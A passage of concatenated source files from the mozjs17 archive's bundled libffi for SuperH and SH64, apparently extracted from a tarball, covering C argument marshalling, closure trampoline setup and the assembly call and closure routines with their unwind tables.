FFI_TYPE_INT: case FFI_TYPE_SINT32: *(SINT64 *) argp = (SINT64) *(SINT32 *) (*p_argv); break; case FFI_TYPE_FLOAT: case FFI_TYPE_POINTER: case FFI_TYPE_UINT32: case FFI_TYPE_STRUCT: *(UINT64 *) argp = (UINT64) *(UINT32 *) (*p_argv); break; default: FFI_ASSERT(0); break; } argp += sizeof (UINT64); } else if (z == sizeof (UINT64) && align == sizeof (UINT64) && ((int) *p_argv & (sizeof (UINT64) - 1)) == 0) { *(UINT64 *) argp = *(UINT64 *) (*p_argv); argp += sizeof (UINT64); } else { int n = (z + sizeof (UINT64) - 1) / sizeof (UINT64); memcpy (argp, *p_argv, z); argp += n * sizeof (UINT64); } } return; } /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { int i, j; int size, type; int n, m; int greg; int freg; int fpair = -1; greg = (return_type (cif->rtype) == FFI_TYPE_STRUCT ? 1 : 0); freg = 0; cif->flags2 = 0; for (i = j = 0; i < cif->nargs; i++) { type = (cif->arg_types)[i]->type; switch (type) { case FFI_TYPE_FLOAT: greg++; cif->bytes += sizeof (UINT64) - sizeof (float); if (freg >= NFREGARG - 1) continue; if (fpair < 0) { fpair = freg; freg += 2; } else fpair = -1; cif->flags2 += ((cif->arg_types)[i]->type) << (2 * j++); break; case FFI_TYPE_DOUBLE: if (greg++ >= NGREGARG && (freg + 1) >= NFREGARG) continue; if ((freg + 1) < NFREGARG) { freg += 2; cif->flags2 += ((cif->arg_types)[i]->type) << (2 * j++); } else cif->flags2 += FFI_TYPE_INT << (2 * j++); break; default: size = (cif->arg_types)[i]->size; if (size < sizeof (UINT64)) cif->bytes += sizeof (UINT64) - size; n = (size + sizeof (UINT64) - 1) / sizeof (UINT64); if (greg >= NGREGARG) continue; else if (greg + n - 1 >= NGREGARG) greg = NGREGARG; else greg += n; for (m = 0; m < n; m++) cif->flags2 += FFI_TYPE_INT << (2 * j++); break; } } /* Set the return type flag */ switch (cif->rtype->type) { case FFI_TYPE_STRUCT: cif->flags = return_type (cif->rtype); break; case FFI_TYPE_VOID: case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: cif->flags = cif->rtype->type; break; default: cif->flags = FFI_TYPE_INT; break; } return FFI_OK; } /*@-declundef@*/ /*@-exportheader@*/ extern void ffi_call_SYSV(void (*)(char *, extended_cif *), /*@out@*/ extended_cif *, unsigned, unsigned, long long, /*@out@*/ unsigned *, void (*fn)(void)); /*@=declundef@*/ /*@=exportheader@*/ void ffi_call(/*@dependent@*/ ffi_cif *cif, void (*fn)(void), /*@out@*/ void *rvalue, /*@dependent@*/ void **avalue) { extended_cif ecif; UINT64 trvalue; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return */ /* value address then we need to make one */ if (cif->rtype->type == FFI_TYPE_STRUCT && return_type (cif->rtype) != FFI_TYPE_STRUCT) ecif.rvalue = &trvalue; else if ((rvalue == NULL) && (cif->rtype->type == FFI_TYPE_STRUCT)) { ecif.rvalue = alloca(cif->rtype->size); } else ecif.rvalue = rvalue; switch (cif->abi) { case FFI_SYSV: ffi_call_SYSV(ffi_prep_args, &ecif, cif->bytes, cif->flags, cif->flags2, ecif.rvalue, fn); break; default: FFI_ASSERT(0); break; } if (rvalue && cif->rtype->type == FFI_TYPE_STRUCT && return_type (cif->rtype) != FFI_TYPE_STRUCT) memcpy (rvalue, &trvalue, cif->rtype->size); } extern void ffi_closure_SYSV (void); extern void __ic_invalidate (void *line); ffi_status ffi_prep_closure_loc (ffi_closure *closure, ffi_cif *cif, void (*fun)(ffi_cif*, void*, void**, void*), void *user_data, void *codeloc) { unsigned int *tramp; FFI_ASSERT (cif->abi == FFI_GCC_SYSV); tramp = (unsigned int *) &closure->tramp[0]; /* Since ffi_closure is an aligned object, the ffi trampoline is called as an SHcompact code. Sigh. SHcompact part: mova @(1,pc),r0; add #1,r0; jmp @r0; nop; SHmedia part: movi fnaddr >> 16,r1; shori fnaddr,r1; ptabs/l r1,tr0 movi cxt >> 16,r1; shori cxt,r1; blink tr0,r63 */ #ifdef __LITTLE_ENDIAN__ tramp[0] = 0x7001c701; tramp[1] = 0x0009402b; #else tramp[0] = 0xc7017001; tramp[1] = 0x402b0009; #endif tramp[2] = 0xcc000010 | (((UINT32) ffi_closure_SYSV) >> 16) << 10; tramp[3] = 0xc8000010 | (((UINT32) ffi_closure_SYSV) & 0xffff) << 10; tramp[4] = 0x6bf10600; tramp[5] = 0xcc000010 | (((UINT32) codeloc) >> 16) << 10; tramp[6] = 0xc8000010 | (((UINT32) codeloc) & 0xffff) << 10; tramp[7] = 0x4401fff0; closure->cif = cif; closure->fun = fun; closure->user_data = user_data; /* Flush the icache. */ asm volatile ("ocbwb %0,0; synco; icbi %1,0; synci" : : "r" (tramp), "r"(codeloc)); return FFI_OK; } /* Basically the trampoline invokes ffi_closure_SYSV, and on * entry, r3 holds the address of the closure. * After storing the registers that could possibly contain * parameters to be passed into the stack frame and setting * up space for a return value, ffi_closure_SYSV invokes the * following helper function to do most of the work. */ int ffi_closure_helper_SYSV (ffi_closure *closure, UINT64 *rvalue, UINT64 *pgr, UINT64 *pfr, UINT64 *pst) { void **avalue; ffi_type **p_arg; int i, avn; int greg, freg; ffi_cif *cif; int fpair = -1; cif = closure->cif; avalue = alloca (cif->nargs * sizeof (void *)); /* Copy the caller's structure return value address so that the closure returns the data directly to the caller. */ if (return_type (cif->rtype) == FFI_TYPE_STRUCT) { rvalue = (UINT64 *) *pgr; greg = 1; } else greg = 0; freg = 0; cif = closure->cif; avn = cif->nargs; /* Grab the addresses of the arguments from the stack frame. */ for (i = 0, p_arg = cif->arg_types; i < avn; i++, p_arg++) { size_t z; void *p; z = (*p_arg)->size; if (z < sizeof (UINT32)) { p = pgr + greg++; switch ((*p_arg)->type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: case FFI_TYPE_STRUCT: #ifdef __LITTLE_ENDIAN__ avalue[i] = p; #else avalue[i] = ((char *) p) + sizeof (UINT32) - z; #endif break; default: FFI_ASSERT(0); } } else if (z == sizeof (UINT32)) { if ((*p_arg)->type == FFI_TYPE_FLOAT) { if (freg < NFREGARG - 1) { if (fpair >= 0) { avalue[i] = (UINT32 *) pfr + fpair; fpair = -1; } else { #ifdef __LITTLE_ENDIAN__ fpair = freg; avalue[i] = (UINT32 *) pfr + (1 ^ freg); #else fpair = 1 ^ freg; avalue[i] = (UINT32 *) pfr + freg; #endif freg += 2; } } else #ifdef __LITTLE_ENDIAN__ avalue[i] = pgr + greg; #else avalue[i] = (UINT32 *) (pgr + greg) + 1; #endif } else #ifdef __LITTLE_ENDIAN__ avalue[i] = pgr + greg; #else avalue[i] = (UINT32 *) (pgr + greg) + 1; #endif greg++; } else if ((*p_arg)->type == FFI_TYPE_DOUBLE) { if (freg + 1 >= NFREGARG) avalue[i] = pgr + greg; else { avalue[i] = pfr + (freg >> 1); freg += 2; } greg++; } else { int n = (z + sizeof (UINT64) - 1) / sizeof (UINT64); avalue[i] = pgr + greg; greg += n; } } (closure->fun) (cif, rvalue, avalue, closure->user_data); /* Tell ffi_closure_SYSV how to perform return type promotions. */ return return_type (cif->rtype); } mozjs17.0.0/js/src/ctypes/libffi/src/sh64/sysv.S0000664000175000017500000002665512106270662021266 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.S - Copyright (c) 2003, 2004, 2006, 2008 Kaz Kojima SuperH SHmedia Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #ifdef HAVE_MACHINE_ASM_H #include #else /* XXX these lose for some platforms, I'm sure. */ #define CNAME(x) x #define ENTRY(x) .globl CNAME(x); .type CNAME(x),%function; CNAME(x): #endif #ifdef __LITTLE_ENDIAN__ #define OFS_FLT 0 #else #define OFS_FLT 4 #endif .section .text..SHmedia32,"ax" # r2: ffi_prep_args # r3: &ecif # r4: bytes # r5: flags # r6: flags2 # r7: rvalue # r8: fn # This assumes we are using gas. .align 5 ENTRY(ffi_call_SYSV) # Save registers .LFB1: addi.l r15, -48, r15 .LCFI0: st.q r15, 40, r32 st.q r15, 32, r31 st.q r15, 24, r30 st.q r15, 16, r29 st.q r15, 8, r28 st.l r15, 4, r18 st.l r15, 0, r14 .LCFI1: add.l r15, r63, r14 .LCFI2: # add r4, r63, r28 add r5, r63, r29 add r6, r63, r30 add r7, r63, r31 add r8, r63, r32 addi r4, (64 + 7), r4 andi r4, ~7, r4 sub.l r15, r4, r15 ptabs/l r2, tr0 add r15, r63, r2 blink tr0, r18 addi r15, 64, r22 movi 0, r0 movi 0, r1 movi -1, r23 pt/l 1f, tr1 bnei/l r29, FFI_TYPE_STRUCT, tr1 ld.l r15, 0, r19 addi r15, 8, r15 addi r0, 1, r0 1: .L_pass: andi r30, 3, r20 shlri r30, 2, r30 pt/l .L_call_it, tr0 pt/l .L_pass_i, tr1 pt/l .L_pass_f, tr2 beqi/l r20, FFI_TYPE_VOID, tr0 beqi/l r20, FFI_TYPE_INT, tr1 beqi/l r20, FFI_TYPE_FLOAT, tr2 .L_pass_d: addi r0, 1, r0 pt/l 3f, tr0 movi 12, r20 bge/l r1, r20, tr0 pt/l .L_pop_d, tr1 pt/l 2f, tr0 blink tr1, r63 2: addi.l r15, 8, r15 3: pt/l .L_pass, tr0 addi r1, 2, r1 blink tr0, r63 .L_pop_d: pt/l .L_pop_d_tbl, tr1 gettr tr1, r20 shlli r1, 2, r21 add r20, r21, r20 ptabs/l r20, tr1 blink tr1, r63 .L_pop_d_tbl: fld.d r15, 0, dr0 blink tr0, r63 fld.d r15, 0, dr2 blink tr0, r63 fld.d r15, 0, dr4 blink tr0, r63 fld.d r15, 0, dr6 blink tr0, r63 fld.d r15, 0, dr8 blink tr0, r63 fld.d r15, 0, dr10 blink tr0, r63 .L_pass_f: addi r0, 1, r0 pt/l 3f, tr0 movi 12, r20 bge/l r1, r20, tr0 pt/l .L_pop_f, tr1 pt/l 2f, tr0 blink tr1, r63 2: addi.l r15, 8, r15 3: pt/l .L_pass, tr0 blink tr0, r63 .L_pop_f: pt/l .L_pop_f_tbl, tr1 pt/l 5f, tr2 gettr tr1, r20 bge/l r23, r63, tr2 add r1, r63, r23 shlli r1, 3, r21 addi r1, 2, r1 add r20, r21, r20 ptabs/l r20, tr1 blink tr1, r63 5: addi r23, 1, r21 movi -1, r23 shlli r21, 3, r21 add r20, r21, r20 ptabs/l r20, tr1 blink tr1, r63 .L_pop_f_tbl: fld.s r15, OFS_FLT, fr0 blink tr0, r63 fld.s r15, OFS_FLT, fr1 blink tr0, r63 fld.s r15, OFS_FLT, fr2 blink tr0, r63 fld.s r15, OFS_FLT, fr3 blink tr0, r63 fld.s r15, OFS_FLT, fr4 blink tr0, r63 fld.s r15, OFS_FLT, fr5 blink tr0, r63 fld.s r15, OFS_FLT, fr6 blink tr0, r63 fld.s r15, OFS_FLT, fr7 blink tr0, r63 fld.s r15, OFS_FLT, fr8 blink tr0, r63 fld.s r15, OFS_FLT, fr9 blink tr0, r63 fld.s r15, OFS_FLT, fr10 blink tr0, r63 fld.s r15, OFS_FLT, fr11 blink tr0, r63 .L_pass_i: pt/l 3f, tr0 movi 8, r20 bge/l r0, r20, tr0 pt/l .L_pop_i, tr1 pt/l 2f, tr0 blink tr1, r63 2: addi.l r15, 8, r15 3: pt/l .L_pass, tr0 addi r0, 1, r0 blink tr0, r63 .L_pop_i: pt/l .L_pop_i_tbl, tr1 gettr tr1, r20 shlli r0, 3, r21 add r20, r21, r20 ptabs/l r20, tr1 blink tr1, r63 .L_pop_i_tbl: ld.q r15, 0, r2 blink tr0, r63 ld.q r15, 0, r3 blink tr0, r63 ld.q r15, 0, r4 blink tr0, r63 ld.q r15, 0, r5 blink tr0, r63 ld.q r15, 0, r6 blink tr0, r63 ld.q r15, 0, r7 blink tr0, r63 ld.q r15, 0, r8 blink tr0, r63 ld.q r15, 0, r9 blink tr0, r63 .L_call_it: # call function pt/l 1f, tr1 bnei/l r29, FFI_TYPE_STRUCT, tr1 add r19, r63, r2 1: add r22, r63, r15 ptabs/l r32, tr0 blink tr0, r18 pt/l .L_ret_i, tr0 pt/l .L_ret_ll, tr1 pt/l .L_ret_d, tr2 pt/l .L_ret_f, tr3 pt/l .L_epilogue, tr4 beqi/l r29, FFI_TYPE_INT, tr0 beqi/l r29, FFI_TYPE_UINT32, tr0 beqi/l r29, FFI_TYPE_SINT64, tr1 beqi/l r29, FFI_TYPE_UINT64, tr1 beqi/l r29, FFI_TYPE_DOUBLE, tr2 beqi/l r29, FFI_TYPE_FLOAT, tr3 pt/l .L_ret_q, tr0 pt/l .L_ret_h, tr1 beqi/l r29, FFI_TYPE_UINT8, tr0 beqi/l r29, FFI_TYPE_UINT16, tr1 blink tr4, r63 .L_ret_d: fst.d r31, 0, dr0 blink tr4, r63 .L_ret_ll: st.q r31, 0, r2 blink tr4, r63 .L_ret_f: fst.s r31, OFS_FLT, fr0 blink tr4, r63 .L_ret_q: st.b r31, 0, r2 blink tr4, r63 .L_ret_h: st.w r31, 0, r2 blink tr4, r63 .L_ret_i: st.l r31, 0, r2 # Fall .L_epilogue: # Remove the space we pushed for the args add r14, r63, r15 ld.l r15, 0, r14 ld.l r15, 4, r18 ld.q r15, 8, r28 ld.q r15, 16, r29 ld.q r15, 24, r30 ld.q r15, 32, r31 ld.q r15, 40, r32 addi.l r15, 48, r15 ptabs r18, tr0 blink tr0, r63 .LFE1: .ffi_call_SYSV_end: .size CNAME(ffi_call_SYSV),.ffi_call_SYSV_end-CNAME(ffi_call_SYSV) .align 5 ENTRY(ffi_closure_SYSV) .LFB2: addi.l r15, -136, r15 .LCFI3: st.l r15, 12, r18 st.l r15, 8, r14 st.l r15, 4, r12 .LCFI4: add r15, r63, r14 .LCFI5: /* Stack layout: ... 64 bytes (register parameters) 48 bytes (floating register parameters) 8 bytes (result) 4 bytes (r18) 4 bytes (r14) 4 bytes (r12) 4 bytes (for align) <- new stack pointer */ fst.d r14, 24, dr0 fst.d r14, 32, dr2 fst.d r14, 40, dr4 fst.d r14, 48, dr6 fst.d r14, 56, dr8 fst.d r14, 64, dr10 st.q r14, 72, r2 st.q r14, 80, r3 st.q r14, 88, r4 st.q r14, 96, r5 st.q r14, 104, r6 st.q r14, 112, r7 st.q r14, 120, r8 st.q r14, 128, r9 add r1, r63, r2 addi r14, 16, r3 addi r14, 72, r4 addi r14, 24, r5 addi r14, 136, r6 #ifdef PIC movi (((datalabel _GLOBAL_OFFSET_TABLE_-(.LPCS0-.)) >> 16) & 65535), r12 shori ((datalabel _GLOBAL_OFFSET_TABLE_-(.LPCS0-.)) & 65535), r12 .LPCS0: ptrel/u r12, tr0 movi ((ffi_closure_helper_SYSV@GOTPLT) & 65535), r1 gettr tr0, r12 ldx.l r1, r12, r1 ptabs r1, tr0 #else pt/l ffi_closure_helper_SYSV, tr0 #endif blink tr0, r18 shlli r2, 1, r1 movi (((datalabel .L_table) >> 16) & 65535), r2 shori ((datalabel .L_table) & 65535), r2 ldx.w r2, r1, r1 add r1, r2, r1 pt/l .L_case_v, tr1 ptabs r1, tr0 blink tr0, r63 .align 2 .L_table: .word .L_case_v - datalabel .L_table /* FFI_TYPE_VOID */ .word .L_case_i - datalabel .L_table /* FFI_TYPE_INT */ .word .L_case_f - datalabel .L_table /* FFI_TYPE_FLOAT */ .word .L_case_d - datalabel .L_table /* FFI_TYPE_DOUBLE */ .word .L_case_d - datalabel .L_table /* FFI_TYPE_LONGDOUBLE */ .word .L_case_uq - datalabel .L_table /* FFI_TYPE_UINT8 */ .word .L_case_q - datalabel .L_table /* FFI_TYPE_SINT8 */ .word .L_case_uh - datalabel .L_table /* FFI_TYPE_UINT16 */ .word .L_case_h - datalabel .L_table /* FFI_TYPE_SINT16 */ .word .L_case_i - datalabel .L_table /* FFI_TYPE_UINT32 */ .word .L_case_i - datalabel .L_table /* FFI_TYPE_SINT32 */ .word .L_case_ll - datalabel .L_table /* FFI_TYPE_UINT64 */ .word .L_case_ll - datalabel .L_table /* FFI_TYPE_SINT64 */ .word .L_case_v - datalabel .L_table /* FFI_TYPE_STRUCT */ .word .L_case_i - datalabel .L_table /* FFI_TYPE_POINTER */ .align 2 .L_case_d: fld.d r14, 16, dr0 blink tr1, r63 .L_case_f: fld.s r14, 16, fr0 blink tr1, r63 .L_case_ll: ld.q r14, 16, r2 blink tr1, r63 .L_case_i: ld.l r14, 16, r2 blink tr1, r63 .L_case_q: ld.b r14, 16, r2 blink tr1, r63 .L_case_uq: ld.ub r14, 16, r2 blink tr1, r63 .L_case_h: ld.w r14, 16, r2 blink tr1, r63 .L_case_uh: ld.uw r14, 16, r2 blink tr1, r63 .L_case_v: add.l r14, r63, r15 ld.l r15, 4, r12 ld.l r15, 8, r14 ld.l r15, 12, r18 addi.l r15, 136, r15 ptabs r18, tr0 blink tr0, r63 .LFE2: .ffi_closure_SYSV_end: .size CNAME(ffi_closure_SYSV),.ffi_closure_SYSV_end-CNAME(ffi_closure_SYSV) #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif .section ".eh_frame","aw",@progbits __FRAME_BEGIN__: .4byte .LECIE1-.LSCIE1 /* Length of Common Information Entry */ .LSCIE1: .4byte 0x0 /* CIE Identifier Tag */ .byte 0x1 /* CIE Version */ #ifdef PIC .ascii "zR\0" /* CIE Augmentation */ #else .byte 0x0 /* CIE Augmentation */ #endif .uleb128 0x1 /* CIE Code Alignment Factor */ .sleb128 -4 /* CIE Data Alignment Factor */ .byte 0x12 /* CIE RA Column */ #ifdef PIC .uleb128 0x1 /* Augmentation size */ .byte 0x10 /* FDE Encoding (pcrel) */ #endif .byte 0xc /* DW_CFA_def_cfa */ .uleb128 0xf .uleb128 0x0 .align 2 .LECIE1: .LSFDE1: .4byte datalabel .LEFDE1-datalabel .LASFDE1 /* FDE Length */ .LASFDE1: .4byte datalabel .LASFDE1-datalabel __FRAME_BEGIN__ #ifdef PIC .4byte .LFB1-. /* FDE initial location */ #else .4byte .LFB1 /* FDE initial location */ #endif .4byte datalabel .LFE1-datalabel .LFB1 /* FDE address range */ #ifdef PIC .uleb128 0x0 /* Augmentation size */ #endif .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte datalabel .LCFI0-datalabel .LFB1 .byte 0xe /* DW_CFA_def_cfa_offset */ .uleb128 0x30 .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte datalabel .LCFI1-datalabel .LCFI0 .byte 0x8e /* DW_CFA_offset, column 0xe */ .uleb128 0xc .byte 0x92 /* DW_CFA_offset, column 0x12 */ .uleb128 0xb .byte 0x9c /* DW_CFA_offset, column 0x1c */ .uleb128 0xa .byte 0x9d /* DW_CFA_offset, column 0x1d */ .uleb128 0x8 .byte 0x9e /* DW_CFA_offset, column 0x1e */ .uleb128 0x6 .byte 0x9f /* DW_CFA_offset, column 0x1f */ .uleb128 0x4 .byte 0xa0 /* DW_CFA_offset, column 0x20 */ .uleb128 0x2 .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte datalabel .LCFI2-datalabel .LCFI1 .byte 0xd /* DW_CFA_def_cfa_register */ .uleb128 0xe .align 2 .LEFDE1: .LSFDE3: .4byte datalabel .LEFDE3-datalabel .LASFDE3 /* FDE Length */ .LASFDE3: .4byte datalabel .LASFDE3-datalabel __FRAME_BEGIN__ #ifdef PIC .4byte .LFB2-. /* FDE initial location */ #else .4byte .LFB2 /* FDE initial location */ #endif .4byte datalabel .LFE2-datalabel .LFB2 /* FDE address range */ #ifdef PIC .uleb128 0x0 /* Augmentation size */ #endif .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte datalabel .LCFI3-datalabel .LFB2 .byte 0xe /* DW_CFA_def_cfa_offset */ .uleb128 0x88 .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte datalabel .LCFI4-datalabel .LCFI3 .byte 0x8c /* DW_CFA_offset, column 0xc */ .uleb128 0x21 .byte 0x8e /* DW_CFA_offset, column 0xe */ .uleb128 0x20 .byte 0x92 /* DW_CFA_offset, column 0x12 */ .uleb128 0x1f .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte datalabel .LCFI5-datalabel .LCFI4 .byte 0xd /* DW_CFA_def_cfa_register */ .uleb128 0xe .align 2 .LEFDE3: mozjs17.0.0/js/src/ctypes/libffi/src/sh/0000775000175000017500000000000012106270662017746 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/sh/ffitarget.h0000664000175000017500000000335712106270662022102 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003 Red Hat, Inc. Target configuration macros for SuperH. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H /* ---- Generic type definitions ----------------------------------------- */ #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_SYSV, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_SYSV } ffi_abi; #endif #define FFI_CLOSURES 1 #define FFI_TRAMPOLINE_SIZE 16 #define FFI_NATIVE_RAW_API 0 #endif mozjs17.0.0/js/src/ctypes/libffi/src/sh/ffi.c0000664000175000017500000003562512106270662020671 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 2002, 2003, 2004, 2005, 2006, 2007, 2008 Kaz Kojima Copyright (c) 2008 Red Hat, Inc. SuperH Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include #define NGREGARG 4 #if defined(__SH4__) #define NFREGARG 8 #endif #if defined(__HITACHI__) #define STRUCT_VALUE_ADDRESS_WITH_ARG 1 #else #define STRUCT_VALUE_ADDRESS_WITH_ARG 0 #endif /* If the structure has essentialy an unique element, return its type. */ static int simple_type (ffi_type *arg) { if (arg->type != FFI_TYPE_STRUCT) return arg->type; else if (arg->elements[1]) return FFI_TYPE_STRUCT; return simple_type (arg->elements[0]); } static int return_type (ffi_type *arg) { unsigned short type; if (arg->type != FFI_TYPE_STRUCT) return arg->type; type = simple_type (arg->elements[0]); if (! arg->elements[1]) { switch (type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: return FFI_TYPE_INT; default: return type; } } /* gcc uses r0/r1 pair for some kind of structures. */ if (arg->size <= 2 * sizeof (int)) { int i = 0; ffi_type *e; while ((e = arg->elements[i++])) { type = simple_type (e); switch (type) { case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: case FFI_TYPE_INT: case FFI_TYPE_FLOAT: return FFI_TYPE_UINT64; default: break; } } } return FFI_TYPE_STRUCT; } /* ffi_prep_args is called by the assembly routine once stack space has been allocated for the function's arguments */ void ffi_prep_args(char *stack, extended_cif *ecif) { register unsigned int i; register int tmp; register unsigned int avn; register void **p_argv; register char *argp; register ffi_type **p_arg; int greg, ireg; #if defined(__SH4__) int freg = 0; #endif tmp = 0; argp = stack; if (return_type (ecif->cif->rtype) == FFI_TYPE_STRUCT) { *(void **) argp = ecif->rvalue; argp += 4; ireg = STRUCT_VALUE_ADDRESS_WITH_ARG ? 1 : 0; } else ireg = 0; /* Set arguments for registers. */ greg = ireg; avn = ecif->cif->nargs; p_argv = ecif->avalue; for (i = 0, p_arg = ecif->cif->arg_types; i < avn; i++, p_arg++, p_argv++) { size_t z; z = (*p_arg)->size; if (z < sizeof(int)) { if (greg++ >= NGREGARG) continue; z = sizeof(int); switch ((*p_arg)->type) { case FFI_TYPE_SINT8: *(signed int *) argp = (signed int)*(SINT8 *)(* p_argv); break; case FFI_TYPE_UINT8: *(unsigned int *) argp = (unsigned int)*(UINT8 *)(* p_argv); break; case FFI_TYPE_SINT16: *(signed int *) argp = (signed int)*(SINT16 *)(* p_argv); break; case FFI_TYPE_UINT16: *(unsigned int *) argp = (unsigned int)*(UINT16 *)(* p_argv); break; case FFI_TYPE_STRUCT: *(unsigned int *) argp = (unsigned int)*(UINT32 *)(* p_argv); break; default: FFI_ASSERT(0); } argp += z; } else if (z == sizeof(int)) { #if defined(__SH4__) if ((*p_arg)->type == FFI_TYPE_FLOAT) { if (freg++ >= NFREGARG) continue; } else #endif { if (greg++ >= NGREGARG) continue; } *(unsigned int *) argp = (unsigned int)*(UINT32 *)(* p_argv); argp += z; } #if defined(__SH4__) else if ((*p_arg)->type == FFI_TYPE_DOUBLE) { if (freg + 1 >= NFREGARG) continue; freg = (freg + 1) & ~1; freg += 2; memcpy (argp, *p_argv, z); argp += z; } #endif else { int n = (z + sizeof (int) - 1) / sizeof (int); #if defined(__SH4__) if (greg + n - 1 >= NGREGARG) continue; #else if (greg >= NGREGARG) continue; #endif greg += n; memcpy (argp, *p_argv, z); argp += n * sizeof (int); } } /* Set arguments on stack. */ greg = ireg; #if defined(__SH4__) freg = 0; #endif p_argv = ecif->avalue; for (i = 0, p_arg = ecif->cif->arg_types; i < avn; i++, p_arg++, p_argv++) { size_t z; z = (*p_arg)->size; if (z < sizeof(int)) { if (greg++ < NGREGARG) continue; z = sizeof(int); switch ((*p_arg)->type) { case FFI_TYPE_SINT8: *(signed int *) argp = (signed int)*(SINT8 *)(* p_argv); break; case FFI_TYPE_UINT8: *(unsigned int *) argp = (unsigned int)*(UINT8 *)(* p_argv); break; case FFI_TYPE_SINT16: *(signed int *) argp = (signed int)*(SINT16 *)(* p_argv); break; case FFI_TYPE_UINT16: *(unsigned int *) argp = (unsigned int)*(UINT16 *)(* p_argv); break; case FFI_TYPE_STRUCT: *(unsigned int *) argp = (unsigned int)*(UINT32 *)(* p_argv); break; default: FFI_ASSERT(0); } argp += z; } else if (z == sizeof(int)) { #if defined(__SH4__) if ((*p_arg)->type == FFI_TYPE_FLOAT) { if (freg++ < NFREGARG) continue; } else #endif { if (greg++ < NGREGARG) continue; } *(unsigned int *) argp = (unsigned int)*(UINT32 *)(* p_argv); argp += z; } #if defined(__SH4__) else if ((*p_arg)->type == FFI_TYPE_DOUBLE) { if (freg + 1 < NFREGARG) { freg = (freg + 1) & ~1; freg += 2; continue; } memcpy (argp, *p_argv, z); argp += z; } #endif else { int n = (z + sizeof (int) - 1) / sizeof (int); if (greg + n - 1 < NGREGARG) { greg += n; continue; } #if (! defined(__SH4__)) else if (greg < NGREGARG) { greg = NGREGARG; continue; } #endif memcpy (argp, *p_argv, z); argp += n * sizeof (int); } } return; } /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { int i, j; int size, type; int n, m; int greg; #if defined(__SH4__) int freg = 0; #endif cif->flags = 0; greg = ((return_type (cif->rtype) == FFI_TYPE_STRUCT) && STRUCT_VALUE_ADDRESS_WITH_ARG) ? 1 : 0; #if defined(__SH4__) for (i 